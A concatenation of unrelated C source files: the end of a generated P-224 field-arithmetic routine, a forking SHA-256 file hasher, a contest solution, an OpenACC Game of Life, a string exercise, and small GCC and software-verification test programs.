uint32_t x140; fiat_p224_uint1 x141; uint32_t x142; fiat_p224_uint1 x143; uint32_t x144; uint32_t x145; uint32_t x146; uint32_t x147; uint32_t x148; uint32_t x149; uint32_t x150; uint32_t x151; fiat_p224_uint1 x152; uint32_t x153; fiat_p224_uint1 x154; uint32_t x155; fiat_p224_uint1 x156; uint32_t x157; fiat_p224_uint1 x158; uint32_t x159; fiat_p224_uint1 x160; uint32_t x161; fiat_p224_uint1 x162; uint32_t x163; fiat_p224_uint1 x164; uint32_t x165; fiat_p224_uint1 x166; uint32_t x167; fiat_p224_uint1 x168; uint32_t x169; fiat_p224_uint1 x170; uint32_t x171; fiat_p224_uint1 x172; uint32_t x173; fiat_p224_uint1 x174; uint32_t x175; fiat_p224_uint1 x176; uint32_t x177; fiat_p224_uint1 x178; uint32_t x179; fiat_p224_uint1 x180; uint32_t x181; fiat_p224_uint1 x182; uint32_t x183; uint32_t x184; uint32_t x185; uint32_t x186; uint32_t x187; uint32_t x188; uint32_t x189; uint32_t x190; uint32_t x191; uint32_t x192; uint32_t x193; uint32_t x194; uint32_t x195; uint32_t x196; uint32_t x197; uint32_t x198; uint32_t x199; uint32_t x200; uint32_t x201; uint32_t x202; uint32_t x203; uint32_t x204; fiat_p224_addcarryx_u32(&x1, &x2, 0x0, (~arg1), 0x1); x3 = (fiat_p224_uint1)((fiat_p224_uint1)(x1 >> 31) & (fiat_p224_uint1)((arg3[0]) & 0x1)); fiat_p224_addcarryx_u32(&x4, &x5, 0x0, (~arg1), 0x1); fiat_p224_cmovznz_u32(&x6, x3, arg1, x4); fiat_p224_cmovznz_u32(&x7, x3, (arg2[0]), (arg3[0])); fiat_p224_cmovznz_u32(&x8, x3, (arg2[1]), (arg3[1])); fiat_p224_cmovznz_u32(&x9, x3, (arg2[2]), (arg3[2])); fiat_p224_cmovznz_u32(&x10, x3, (arg2[3]), (arg3[3])); fiat_p224_cmovznz_u32(&x11, x3, (arg2[4]), (arg3[4])); fiat_p224_cmovznz_u32(&x12, x3, (arg2[5]), (arg3[5])); fiat_p224_cmovznz_u32(&x13, x3, (arg2[6]), (arg3[6])); fiat_p224_cmovznz_u32(&x14, x3, (arg2[7]), (arg3[7])); fiat_p224_addcarryx_u32(&x15, &x16, 0x0, 0x1, (~(arg2[0]))); fiat_p224_addcarryx_u32(&x17, &x18, x16, 0x0, (~(arg2[1]))); fiat_p224_addcarryx_u32(&x19, &x20, x18, 0x0, (~(arg2[2]))); fiat_p224_addcarryx_u32(&x21, &x22, x20, 0x0, (~(arg2[3]))); fiat_p224_addcarryx_u32(&x23, &x24, x22, 0x0, (~(arg2[4]))); fiat_p224_addcarryx_u32(&x25, &x26, x24, 0x0, (~(arg2[5]))); fiat_p224_addcarryx_u32(&x27, &x28, x26, 0x0, (~(arg2[6]))); fiat_p224_addcarryx_u32(&x29, &x30, x28, 0x0, (~(arg2[7]))); fiat_p224_cmovznz_u32(&x31, x3, (arg3[0]), x15); fiat_p224_cmovznz_u32(&x32, x3, (arg3[1]), x17); fiat_p224_cmovznz_u32(&x33, x3, (arg3[2]), x19); fiat_p224_cmovznz_u32(&x34, x3, (arg3[3]), x21); fiat_p224_cmovznz_u32(&x35, x3, (arg3[4]), x23); fiat_p224_cmovznz_u32(&x36, x3, (arg3[5]), x25); fiat_p224_cmovznz_u32(&x37, x3, (arg3[6]), x27); fiat_p224_cmovznz_u32(&x38, x3, (arg3[7]), x29); fiat_p224_cmovznz_u32(&x39, x3, (arg4[0]), (arg5[0])); fiat_p224_cmovznz_u32(&x40, x3, (arg4[1]), (arg5[1])); fiat_p224_cmovznz_u32(&x41, x3, (arg4[2]), (arg5[2])); fiat_p224_cmovznz_u32(&x42, x3, (arg4[3]), (arg5[3])); fiat_p224_cmovznz_u32(&x43, x3, (arg4[4]), (arg5[4])); fiat_p224_cmovznz_u32(&x44, x3, (arg4[5]), (arg5[5])); fiat_p224_cmovznz_u32(&x45, x3, (arg4[6]), (arg5[6])); fiat_p224_addcarryx_u32(&x46, &x47, 0x0, x39, x39); fiat_p224_addcarryx_u32(&x48, &x49, x47, x40, x40); fiat_p224_addcarryx_u32(&x50, &x51, x49, x41, x41); fiat_p224_addcarryx_u32(&x52, &x53, x51, x42, x42); fiat_p224_addcarryx_u32(&x54, &x55, x53, x43, x43); fiat_p224_addcarryx_u32(&x56, &x57, x55, x44, x44); fiat_p224_addcarryx_u32(&x58, &x59, x57, x45, x45); fiat_p224_subborrowx_u32(&x60, &x61, 0x0, x46, 0x1); fiat_p224_subborrowx_u32(&x62, &x63, x61, x48, 0x0); fiat_p224_subborrowx_u32(&x64, &x65, x63, x50, 0x0); fiat_p224_subborrowx_u32(&x66, &x67, x65, x52, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x68, &x69, x67, x54, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x70, &x71, x69, x56, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x72, &x73, x71, x58, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x74, &x75, x73, x59, 0x0); x76 = (arg4[6]); x77 = (arg4[5]); x78 = (arg4[4]); x79 = (arg4[3]); x80 = (arg4[2]); x81 = (arg4[1]); x82 = (arg4[0]); fiat_p224_subborrowx_u32(&x83, &x84, 0x0, 0x0, x82); fiat_p224_subborrowx_u32(&x85, &x86, x84, 0x0, x81); fiat_p224_subborrowx_u32(&x87, &x88, x86, 0x0, x80); fiat_p224_subborrowx_u32(&x89, &x90, x88, 0x0, x79); fiat_p224_subborrowx_u32(&x91, &x92, x90, 0x0, x78); fiat_p224_subborrowx_u32(&x93, &x94, x92, 0x0, x77); fiat_p224_subborrowx_u32(&x95, &x96, x94, 0x0, x76); fiat_p224_cmovznz_u32(&x97, x96, 0x0, UINT32_C(0xffffffff)); fiat_p224_addcarryx_u32(&x98, &x99, 0x0, x83, (fiat_p224_uint1)(x97 & 0x1)); fiat_p224_addcarryx_u32(&x100, &x101, x99, x85, 0x0); fiat_p224_addcarryx_u32(&x102, &x103, x101, x87, 0x0); fiat_p224_addcarryx_u32(&x104, &x105, x103, x89, x97); fiat_p224_addcarryx_u32(&x106, &x107, x105, x91, x97); fiat_p224_addcarryx_u32(&x108, &x109, x107, x93, x97); fiat_p224_addcarryx_u32(&x110, &x111, x109, x95, x97); fiat_p224_cmovznz_u32(&x112, x3, (arg5[0]), x98); fiat_p224_cmovznz_u32(&x113, x3, (arg5[1]), x100); fiat_p224_cmovznz_u32(&x114, x3, (arg5[2]), x102); fiat_p224_cmovznz_u32(&x115, x3, (arg5[3]), x104); fiat_p224_cmovznz_u32(&x116, x3, (arg5[4]), x106); fiat_p224_cmovznz_u32(&x117, x3, (arg5[5]), x108); fiat_p224_cmovznz_u32(&x118, x3, (arg5[6]), x110); x119 = (fiat_p224_uint1)(x31 & 0x1); fiat_p224_cmovznz_u32(&x120, x119, 0x0, x7); fiat_p224_cmovznz_u32(&x121, x119, 0x0, x8); fiat_p224_cmovznz_u32(&x122, x119, 0x0, x9); fiat_p224_cmovznz_u32(&x123, x119, 0x0, x10); fiat_p224_cmovznz_u32(&x124, x119, 0x0, x11); fiat_p224_cmovznz_u32(&x125, x119, 0x0, x12); fiat_p224_cmovznz_u32(&x126, x119, 0x0, x13); fiat_p224_cmovznz_u32(&x127, x119, 0x0, x14); fiat_p224_addcarryx_u32(&x128, &x129, 0x0, x31, x120); fiat_p224_addcarryx_u32(&x130, &x131, x129, x32, x121); fiat_p224_addcarryx_u32(&x132, &x133, x131, x33, x122); fiat_p224_addcarryx_u32(&x134, &x135, x133, x34, x123); fiat_p224_addcarryx_u32(&x136, &x137, x135, x35, x124); fiat_p224_addcarryx_u32(&x138, &x139, x137, x36, x125); fiat_p224_addcarryx_u32(&x140, &x141, x139, x37, x126); fiat_p224_addcarryx_u32(&x142, &x143, x141, x38, x127); fiat_p224_cmovznz_u32(&x144, x119, 0x0, x39); fiat_p224_cmovznz_u32(&x145, x119, 0x0, x40); fiat_p224_cmovznz_u32(&x146, x119, 0x0, x41); fiat_p224_cmovznz_u32(&x147, x119, 0x0, x42); fiat_p224_cmovznz_u32(&x148, x119, 0x0, x43); fiat_p224_cmovznz_u32(&x149, x119, 0x0, x44); fiat_p224_cmovznz_u32(&x150, x119, 0x0, x45); fiat_p224_addcarryx_u32(&x151, &x152, 0x0, x112, x144); fiat_p224_addcarryx_u32(&x153, &x154, x152, x113, x145); fiat_p224_addcarryx_u32(&x155, &x156, x154, x114, x146); fiat_p224_addcarryx_u32(&x157, &x158, x156, x115, x147); fiat_p224_addcarryx_u32(&x159, &x160, x158, x116, x148); fiat_p224_addcarryx_u32(&x161, &x162, x160, x117, x149); fiat_p224_addcarryx_u32(&x163, &x164, x162, x118, x150); fiat_p224_subborrowx_u32(&x165, &x166, 0x0, x151, 0x1); fiat_p224_subborrowx_u32(&x167, &x168, x166, x153, 0x0); fiat_p224_subborrowx_u32(&x169, &x170, x168, x155, 0x0); fiat_p224_subborrowx_u32(&x171, &x172, x170, x157, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x173, &x174, x172, x159, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x175, &x176, x174, x161, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x177, &x178, x176, x163, UINT32_C(0xffffffff)); fiat_p224_subborrowx_u32(&x179, &x180, x178, x164, 0x0); fiat_p224_addcarryx_u32(&x181, &x182, 0x0, x6, 0x1); x183 = ((x128 >> 1) | ((x130 << 31) & UINT32_C(0xffffffff))); x184 = ((x130 >> 1) | ((x132 << 31) & UINT32_C(0xffffffff))); x185 = ((x132 >> 1) | ((x134 << 31) & UINT32_C(0xffffffff))); x186 = ((x134 >> 1) | ((x136 << 31) & UINT32_C(0xffffffff))); x187 = ((x136 >> 1) | ((x138 << 31) & UINT32_C(0xffffffff))); x188 = ((x138 >> 1) | ((x140 << 31) & UINT32_C(0xffffffff))); x189 = ((x140 >> 1) | ((x142 << 31) & UINT32_C(0xffffffff))); x190 = ((x142 & UINT32_C(0x80000000)) | (x142 >> 1)); fiat_p224_cmovznz_u32(&x191, x75, x60, x46); fiat_p224_cmovznz_u32(&x192, x75, x62, x48); fiat_p224_cmovznz_u32(&x193, x75, x64, x50); fiat_p224_cmovznz_u32(&x194, x75, x66, x52); fiat_p224_cmovznz_u32(&x195, x75, x68, x54); fiat_p224_cmovznz_u32(&x196, x75, x70, x56); fiat_p224_cmovznz_u32(&x197, x75, x72, x58); fiat_p224_cmovznz_u32(&x198, x180, x165, x151); fiat_p224_cmovznz_u32(&x199, x180, x167, x153); fiat_p224_cmovznz_u32(&x200, x180, x169, x155); fiat_p224_cmovznz_u32(&x201, x180, x171, x157); fiat_p224_cmovznz_u32(&x202, x180, x173, x159); fiat_p224_cmovznz_u32(&x203, x180, x175, x161); fiat_p224_cmovznz_u32(&x204, x180, x177, x163); *out1 = x181; out2[0] = x7; out2[1] = x8; out2[2] = x9; out2[3] = x10; out2[4] = x11; out2[5] = x12; out2[6] = x13; out2[7] = x14; out3[0] = x183; out3[1] = x184; out3[2] = x185; out3[3] = x186; out3[4] = x187; out3[5] = x188; out3[6] = x189; out3[7] = x190; out4[0] = x191; out4[1] = x192; out4[2] = x193; out4[3] = x194; out4[4] = x195; out4[5] = x196; out4[6] = x197; out5[0] = x198; out5[1] = x199; out5[2] = x200; out5[3] = x201; out5[4] = x202; out5[5] = x203; out5[6] = x204; } /* * The function fiat_p224_divstep_precomp returns the precomputed value for Bernstein-Yang-inversion (in montgomery form). * Postconditions: * eval (from_montgomery out1) = ⌊(m - 1) / 2⌋^(if (log2 m) + 1 < 46 then ⌊(49 * ((log2 m) + 1) + 80) / 17⌋ else ⌊(49 * ((log2 m) + 1) + 57) / 17⌋) * 0 ≤ eval out1 < m * * Input Bounds: * Output Bounds: * out1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]] */ static void fiat_p224_divstep_precomp(uint32_t out1[7]) { out1[0] = UINT32_C(0x800000); out1[1] = UINT32_C(0x800000); out1[2] = UINT32_C(0xfe000000); out1[3] = UINT32_C(0xffffff); out1[4] = 0x0; out1[5] = UINT32_C(0xff800000); out1[6] = UINT32_C(0x17fffff); }
the_stack_data/25058.c
#include <openssl/evp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/wait.h> // building on Debian requires libssl-dev package (sudo apt install libssl-dev) /* * * SHA-256 (256 bit) is part of SHA-2 set of cryptographic hash functions, designed by the U.S. National Security Agency (NSA) and * published in 2001 by the NIST as a U.S. Federal Information Processing Standard (FIPS). * * A hash function is an algorithm that transforms (hashes) an arbitrary set of data elements, such as a text file, * into a single fixed length value (the hash). * The computed hash value may then be used to verify the integrity of copies of the original data without providing * any means to derive said original data. * Irreversible, a hash value may be freely distributed, stored and used for comparative purposes. * SHA stands for Secure Hash Algorithm. * * * this program takes one or more file names as parameters; for each file it forks itself and calculates sha256 digest. * */ struct digest_result { unsigned int digest_len; unsigned char * digest; }; #define BUF_SIZE 1024*16 struct digest_result calculate_sha256(int fd) { char * buffer; int bytes_read; struct digest_result result = { 0, NULL}; // if returned, means this functions was not successful EVP_MD_CTX * mdctx; unsigned char * digest; unsigned int digest_len; EVP_MD * algo; buffer = malloc(BUF_SIZE); if (buffer == NULL) { perror("malloc()"); return result; } algo = EVP_sha256(); if ((mdctx = EVP_MD_CTX_create()) == NULL) { printf("EVP_MD_CTX_create() error\n"); return result; } // initialize digest engine if (EVP_DigestInit_ex(mdctx, algo, NULL) != 1) { // EVP_DigestInit_ex returns 1 if successful EVP_MD_CTX_destroy(mdctx); printf("EVP_DigestInit_ex() error\n"); return result; } while ((bytes_read = read(fd, buffer, BUF_SIZE)) > 0) { // read returns 0 on EOF, -1 on error // provide data to digest engine if (EVP_DigestUpdate(mdctx, buffer, bytes_read) != 1) { // EVP_DigestUpdate returns 1 if successful EVP_MD_CTX_destroy(mdctx); printf("EVP_DigestUpdate() error\n"); return result; } } if (bytes_read == -1) { perror("read error"); exit(1); } digest_len = EVP_MD_size(algo); if ((digest = (unsigned char *)OPENSSL_malloc(digest_len)) == NULL) { EVP_MD_CTX_destroy(mdctx); printf("OPENSSL_malloc() error\n"); return result; } // produce digest if (EVP_DigestFinal_ex(mdctx, digest, &digest_len) != 1) { // EVP_DigestFinal_ex returns 1 if successful OPENSSL_free(digest); EVP_MD_CTX_destroy(mdctx); printf("EVP_DigestFinal_ex() error\n"); return result; } //OPENSSL_free(digest); EVP_MD_CTX_destroy(mdctx); free(buffer); result.digest = digest; result.digest_len = digest_len; return result; // OK: a copy of struct result is returned } int main(int argc, char * argv[]) { if (argc == 1) { printf("provide one or more file name(s), I will calculate sha256 digest of each file by forking myself\n"); exit(1); } int wstatus; int modal_result = -1; int pid; int fd; struct digest_result result; for (int i = 1; i < argc; i++) { fd = open(argv[i], O_RDONLY); if (fd == -1) { perror("open()"); continue; } switch( pid = fork() ) { case -1: perror("fork()"); exit(1); case 0: // child process result = calculate_sha256(fd); if (result.digest_len == 0) { printf("ERROR! pid=%d\n", getpid()); exit(1); } // for sha256, digest has len of 32 bytes // printf("%d\n", result.digest_len); printf("pid=%d filename=%s ", getpid(), argv[i]); for (int i = 0; i < result.digest_len; i++) { printf("%02x", result.digest[i]); } printf("\n"); OPENSSL_free(result.digest); exit(0); break; default: // parent close(fd); } } // we wait for all child process to terminate while ((pid = wait(&wstatus)) != -1) { if (WIFEXITED(wstatus)) { modal_result = WEXITSTATUS(wstatus); printf("[parent] child process %d ha terminato, ha restituito: %d\n", pid, modal_result); } // } printf("[parent] finished!\n"); return 0; }
the_stack_data/45451586.c
/*1650 - Mirror Clock*/ #include <stdio.h> int main(){ int casos; scanf("%d", &casos); while(casos--){ int hrs, min, M=0; double r, H, l; scanf("%d:%d", &hrs, &min); if(min==0){ M=0; } else{ M= 60-min; } if(hrs==11 || hrs == 12){ if(hrs==11){ if(min==0){ H=1; } else{ H=12; } } else{ if(min==0){ H=12; } else{ H=11; } } } else{ r = (5.00/60.00)* (double)min; l= (12 - (double)hrs)*5; H =(l - r) / 5; } if(M < 10 || H <10){ if(M<10 && H <10){ printf("0%d:0%d\n",(int) H, M); } else{ if(H<10){ printf("0%d:%d\n",(int) H, M); } else{ printf("%d:0%d\n",(int) H, M); } } } else{ printf("%d:%d\n",(int) H, M); } } return 0; }
the_stack_data/43984.c
#include <stdio.h> #include <stdlib.h> #define SRAND_VALUE 1985 #define dim 1024 // grid dimension excluding ghost cells void gol(int *grid, int *newGrid) { int arraySize = (dim+2) * (dim+2); int i,j; #pragma acc kernels { // ghost rows #pragma acc loop independent for (i = 1; i <= dim; i++) { // copy first row to bottom ghost row grid[(dim+2)*(dim+1)+i] = grid[(dim+2)+i]; // copy last row to top ghost row grid[i] = grid[(dim+2)*dim + i]; } // ghost columns #pragma acc loop independent for (i = 0; i <= dim+1; i++) { // copy first column to right most ghost column grid[i*(dim+2)+dim+1] = grid[i*(dim+2)+1]; // copy last column to left most ghost column grid[i*(dim+2)] = grid[i*(dim+2) + dim]; } // iterate over the grid #pragma acc loop independent for (i = 1; i <= dim; i++) { #pragma acc loop independent for (j = 1; j <= dim; j++) { int id = i*(dim+2) + j; int numNeighbors = grid[id+(dim+2)] + grid[id-(dim+2)] // lower + upper + grid[id+1] + grid[id-1] // right + left + grid[id+(dim+3)] + grid[id-(dim+3)] // diagonal lower + upper right + grid[id-(dim+1)] + grid[id+(dim+1)];// diagonal lower + upper left // the game rules if (grid[id] == 1 && numNeighbors < 2) newGrid[id] = 0; else if (grid[id] == 1 && (numNeighbors == 2 || numNeighbors == 3)) newGrid[id] = 1; else if (grid[id] == 1 && numNeighbors > 3) newGrid[id] = 0; else if (grid[id] == 0 && numNeighbors == 3) newGrid[id] = 1; else newGrid[id] = grid[id]; } } // copy new grid over, as pointers cannot be switched #pragma acc loop independent for(i = 1; i <= dim; i++) { #pragma acc loop independent for(j = 1; j <= dim; j++) { int id = i*(dim+2) + j; grid[id] = newGrid[id]; } } } } int main(int argc, char* argv[]) { int i, j; // number of game steps int itEnd = 1 << 11; if(argc > 1){ itEnd = atoi(argv[1]); } // grid array with dimension dim + ghost columns and rows int arraySize = (dim+2) * (dim+2); size_t bytes = arraySize * sizeof(int); int *grid = (int*)malloc(bytes); // allocate result grid int */*restrict*/newGrid = (int*) malloc(bytes); // assign initial population randomly srand(SRAND_VALUE); for(i = 1; i <= dim; i++) { for(j = 1; j <= dim; j++) { grid[i*(dim+2)+j] = rand() % 2; } } int total = 0; // total number of alive cells int it; for(it = 0; it < itEnd; it++){ gol( grid, newGrid ); } // sum up alive cells for (i = 1; i <= dim; i++) { for (j = 1; j <= dim; j++) { total += grid[i*(dim+2) + j]; } } printf("Total Alive: %d\n", total); return 0; }
the_stack_data/123677.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #define LEN 30 char *manipola_stringa(char s[], int k) { char *tmp, lastc; int i, len; tmp = malloc(sizeof(char)*(k+1)); if(tmp) { len = strlen(s); if(k>len) { for(i=0;i<len;i++) { tmp[i] = s[i]; } lastc = s[i-1]; for(i=len;i<k;i++) { tmp[i] = lastc; } tmp[i] = '\0'; } else { for(i=0;i<k;i++) { tmp[i] = s[i]; } tmp[i] = '\0'; } } return tmp; } int main(void) { char str[LEN+1], *p; int num; printf("Stringa: "); scanf("%[^\n]", str); printf("Numero: "); scanf("%d", &num); p = manipola_stringa(str, num); if(p) { printf("\nRisultato: %s\n", p); } else { printf("Errore allocazione memoria\n"); } return 0; }
the_stack_data/90764369.c
/* { dg-do compile } */ /* { dg-require-effective-target tls_native } */ /* { dg-require-effective-target fpic } */ /* { dg-options "-fPIC -mno-accumulate-outgoing-args -mpreferred-stack-boundary=5 -mincoming-stack-boundary=4" } */ extern __thread int msgdata; int foo () { return msgdata; }
the_stack_data/192329757.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); void __VERIFIER_assert(int cond) { if (!(cond)) { ERROR: __VERIFIER_error(); } return; } int __VERIFIER_nondet_int(); _Bool __VERIFIER_nondet_bool(); main() { int x=__VERIFIER_nondet_int(); int y=__VERIFIER_nondet_int(); int z=__VERIFIER_nondet_int(); while(x<100 && 100<z) { _Bool tmp=__VERIFIER_nondet_bool(); if (tmp) { x++; } else { x--; z--; } } __VERIFIER_assert(0); }